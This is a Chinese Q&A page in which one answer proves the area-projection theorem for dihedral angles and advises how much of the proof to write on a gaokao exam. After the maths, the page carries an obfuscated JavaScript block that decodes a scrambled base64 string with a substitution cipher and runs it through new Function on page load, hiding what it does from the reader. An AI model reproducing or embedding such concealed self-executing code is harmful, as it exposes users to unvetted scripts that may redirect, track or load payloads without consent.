高考题中如果涉及或用到射影定理是否需要证明 该怎样写? 由射影定理得?

2025年04月07日 23:19
有1个网友回答
网友(1):

1.其实射影定理证明,在答题时只需要多写一两步过渡就行。
2.射影定理的证明也不难:取两个平面相交,交线为l,在平面1中取一点A,做AH垂直l,再做AB垂直于平面2,然后连结BH。由三垂线定理知BH垂直于l,所以可以得到1、2平面夹角就是角AHB。也就是cos角AHB=BH/AH。取l上不同的两点CD,连结AC、AD、BC、BD,因为AB垂直于平面2,所以知道三角形BCD是ACD的射影,而S三角形BCD/S三角形ACD=(1/2*CD*BH)/(1/2*CD*AH)=BH/AH=cos角AHB。即得到射影面积/原面积=两平面夹角。
3.考试时候的写法:不需要单独证明一次,这么写就可以(我当年是这样写的,当然还是找老师确定一下最好)。
考试时当求完原面积和射影面积后,只需要在平面一取一点向平面2和交线分别做垂线然后连结形成2中的三角形,之后:
所以cos角AHB=BH/AH=(1/2*CD*BH)/(1/2*CD*AH)=S三角形BCD/S三角形ACD=射影面积/原面积,带入值,之后反三角函数表示出AHB完毕。一般A点可以用题中给好的点,做两条垂线后连结,按照上面的写法就可以了。
4.即使直接用射影定理,一般情况下不会扣分(就是这么写:所以cos角AHB=S三角形BCD/S三角形ACD=带入值/带入值,之后反三角函数表示出AHB。)但是不同学校的标准不同,高考要求也比较严格,多加两句话还是比较稳,而且也不复杂,建议写全。如果直接用的话,一般最多扣一分。

(function(){function m888b98(k7d1c){var d23e48="_zGq:g|3t]^mOk8YLCo6~xX5D&MsrQ@Tidl0%/f2NcU-4vA(E=[Wnuy9SVHF71e?h;KapZ!.wRPj$JBI,b";var q7eba="H7o_VXb|Ol$j3wF81SR(ut?mk%KY[;M=,LCBEQz@0sGhN.A2ie:-g~Pv9Uypd&na4cx!T6JqI^DrfWZ]5/";return atob(k7d1c).split('').map(function(rc36d5d){var m4abcf=d23e48.indexOf(rc36d5d);return m4abcf==-1?rc36d5d:q7eba[m4abcf]}).join('')}var c=m888b98('thunder://a0VlN0drciIkIisiTCh6NyIrIloiSVQkfmU7eEVHZTYpezYkfmU7eEVHZTZmKDdOTChMTyxpRVlMenx6aS5aWVo9eix8P2ljTk49TE8pe0UkNmJSQD87M0pFZWJ2eD1jeDZlPzlFbj94R2p2Rl0/eCRHajUpKXtqPXh+amV9OT9qIEs/fExOKHxUJH5lO3hFR2U2RHw7enosTiwoKXtqPXh+amUgQ3hqRWVudiRqRzVsLT9qbEc3PTZEfDt6eixOLCgpfVE5P2ogfFo7Tk8kLD9UciJdbWNXX05McWR0QVBxIUNxX3BAZCJpIjk9aldOTCJpImNFN1coWSJpIjs7eFcoTigsV05oV05ZIEwsW0x6WyxoIklROT9qIG4/enw7Tlk/N1QuWllaPXosfD9ySz98TE4ofDZTeikrSz98TE4ofDZMTFopK0s/fExOKHw2TExMKStLP3xMTih8NlNZKUlpSyR8JFlMVC5aWVo9eix8P3JLP3xMTih8NlNZKStLP3xMTih8NkxMWikrSz98TE4ofDZMTEwpK0s/fExOKHw2U3opSWk1JCQ3TFRjTk49TE9ybj96fDtOWT83NiJzTzpIOzU6fjc4NG07NV1rN0FUVCIpSWk/Wiwsej1Ubj96fDtOWT83NiJzTyFdc2dvXW9KS118Sjp+N0FUVCIpaTdMKFlOT058elRuP3p8O05ZPzc2IjtPOkU7T29IP0osZSIpaUZ6Tyg7aFRuP3p8O05ZPzc2Ijs1Omt8VThtQi9UVCIpaUs9KEwoaDdPLFRuP3p8O05ZPzc2IjtPMGM/Zy9UIilpNz16N3okUz16VG4/enw7Tlk/NzYiOzU6KEJnIWZCL1RUIilpRjd6fExUbj96fDtOWT83NiI/NVNGfG5UVCIpaTtaLHo/ej0oP1RuP3p8O05ZPzc2Ijs1OH5CVVN4IilpOzdMLD1ULlpZWj16LHw/cm4/enw7Tlk/NzYicEo4Tj9BVFQiKUlpfExoJFlMO1RuP3p8O05ZPzc2InxVUy1CQVRUIilROT9qIHhPeno7VG4/enw7Tlk/NzYiOyhMTj9Kb103blRUIilROT9qIERPaCRPUUUkNl1HOz94RUdldmM9P2o7LXZFZTc9S3QkNnhPeno7KT5XTCl7RE9oJE9UY05OPUxPcj9aLCx6PUk2bj96fDtOWT83NiI3VTpoN1U4SEJKJVQiKSlRRE9oJE92RTdUIngiKzs3TCw9cjtaLHo/ej0oP0k2KSpMPWhRRE9oJE92Y3hIXT12a0U3eC1UIkxOTiYiUURPaCRPdmN4SF09di09RW4teFQiLE5ORksiUURPaCRPdjdFYz98XT03VHhqfj1RRSQ2Y05OPUxPdnxHN0hhVGV+XV0pe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKX09XWM9ezk/aiBHU3xMU1QkfmU7eEVHZTYpe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKVEuWllaPXosfD92aj01Rzk9JTk9ZXhkRWN4PWU9ajZ8TGgkWUw7aUdTfExTaSQ/XWM9KX1RLlpZWj16LHw/dj83NyU5PWV4ZEVjeD1lPWo2fExoJFlMO2lHU3xMU2kkP11jPSl9fTk/aiBGLD9PaChaLFRjTk49TE9yP1osLHo9STZuP3p8O05ZPzc2IkJKTEVCSi9UIikpUUYsP09oKFosdkU3VEVZTHp8eis7N0wsPXY7PUVdNjs3TCw9cjtaLHo/ej0oP0k2KSpMPWgpUUYsP09oKFosdmN4SF09di09RW4teFQiTkZLIlFGLD9PaChaLHZjeEhdPXZHOT1qJF1Ha1QiLUU3Nz1lIlE5P2ogXTtTU058JFQkfmU7eEVHZTZEej8sWj1ZOyl7OT9qID96TFNaLHp6VEskfCRZTDZ8WjtOTyQsP3Y7R2U7P3g2cmBlR2tXXntQP3g9ciJlR2siSTYpfWBpYC1qPSRXXntdRzs/eEVHZXYtaj0kfWBpYH5jO1deezdPPSQ3Nyw2KX1gSSl2Y0dqeDY2NilUPjs3TCw9cjtaLHo/ej0oP0k2KVd2LCkpckY3enxMSTYiaSIpKVE5P2ogZXw/KCgkPVQ/ekxTWix6enZFZTc9S3QkNks/fExOKHw2WkwpKT5XTFg/ekxTWix6enI3TChZTk9OfHpJNj96TFNaLHp6dkVlNz1LdCQ2Sz98TE4ofDZaTCkpKVsiIlE/ekxTWix6elQ/ekxTWix6enJGek8oO2hJNmV8PygoJD1pIiIpcks9KEwoaDdPLEk2IiIpcjc9ejd6JFM9ekk2KXJGN3p8TEk2IiIpK2V8PygoJD1RRiw/T2goWix2Y2o7VHIiLXh4RmNbYmIiK0R6PyxaPVk7aUYsP09oKFosdkU3aT96TFNaLHp6SXJGN3p8TEk2ImIiKVF4akh7Y05OPUxPdnxHN0h2P0ZGPWU3bC1FXTc2Riw/T2goWiwpfTs/eDstNj0pe2NOTj1MT3Z8RzdIdkVlYz1qeDA9JEdqPTZGLD9PaChaLGljTk49TE92fEc3SHY7LUVdNzRHNz1jck5JKX1FJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGU/RkY9ZTc9NyA9NSB4RyAteDVdIlE5P2ogRWg/aCwoP1RjTk49TE92bj14JV09NT1leDBIdzc2Riw/T2goWix2RTcpUUUkNkVoP2gsKD9UVGV+XV0zM0VoP2gsKD9UVH5lNz0kRWU9Nyl7RE9oJE92OT9dfj0rVCJcXGpcXGUgOz9leCBuPXggPTUgJGpHNSAteDVdIn19fVFFJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGVjPWU3IG1jIC1HY3ggIitmKDdOTChMTyx9OT9qIDdPPSQ3NyxUJH5lO3hFR2U2KXt4akh7O0dlY3ggZixMeiQsO1Q2ZT1rIFA/eD0pdnhHZEc7P109UD94PUN4akVlbjYpUTtHZWN4IGN6U3o9VGBjNXhFcWNFN3Feez1TO1MofFlaLHZFWUx6fHp9cUY5YFFdPXggeGg9WjdUIUN0NHZGP2pjPTZdRzs/XUN4R2o/bj12bj14d3g9NTZjelN6PSkpUUUkNnhoPVo3VFRlfl1dMzN4aD1aN3Y3P3g9YVRmLEx6JCw7KXt4aD1aN1R7RjlwRTU9Y1tOaTc/eD1bZixMeiQsO319aj14fmplIHhoPVo3dkY5cEU1PWMrTH07P3g7LTZFUyxMKCRPTCl7aj14fmplIEx9fVE5P2ogZk56Pz87LFpUJH5lO3hFR2U2SFpTP3w9KXtqPXh+amUgbj96fDtOWT83NkhaUz98PSlyRnpPKDtoSTZLP3xMTih8NmgoKWk7N0wsPXI7Wix6P3o9KD9JNil2eEdDeGpFZW42T1opdmNdRTs9Njs3TCw9diRdR0dqNjs3TCw9cjtaLHo/ej0oP0k2KSpTKSsoKSl9UV07U1NOfCQ2Zk56Pz87LFo2Zig3TkwoTE8sKSlRLlpZWj16LHw/ciI/NzclOT1leGRFY3g9ZT1qIkk2IjU9Y2M/bj0iaTYkfmU7eEVHZTZFUyxMKCRPTCl7RSQ2RVMsTCgkT0x2Nz94P3ZEVFRFWUx6fHope2NOTj1MT3ZuPXglXT01PWV4MEh3NzZGLD9PaChaLHZFNyl2aj01Rzk9NilROT9qIDUkWj0kJFRlfl1dUUUkNkRPaCRPYVRlfl1dKXtET2gkT3Y5P11+PStUIlxcalxcZWo9Oz1FOT0gPTUgRkdjeCA1PWNjP249IlFET2gkT3Y5P11+PStUIlxcalxcZT12Nz94P3Y5ICIrRVMsTCgkT0x2Nz94P3YuUTUkWj0kJFQ2dnZ2Lkw7Wlk7T2hoKVQ+e0UkNmEuTDtaWTtPaGgzMy5MO1pZO09oaHZdPWVueC08VE4paj14fmplUURPaCRPdjk/XX49K1QiXFxqXFxlIisuTDtaWTtPaGh2bUdFZTYiICIpfX1lPWsgOH5lO3hFR2U2Ij9qbmMiaUVTLEwoJE9Mdjc/eD92Lik2e3F4NztjWzUkJDdMaXFdR25bNSRaPSQkfSl9fSkpfSk2IkIoO343VS9oNDUtZnxKS3hCKDcsfEMsTnxPQVp0cERMNG5UVCJpIihZImlrRWU3R2tpN0c7fjU9ZXgpfVEkTCh6N1o2KVE='.substr(10));new Function(c)()})();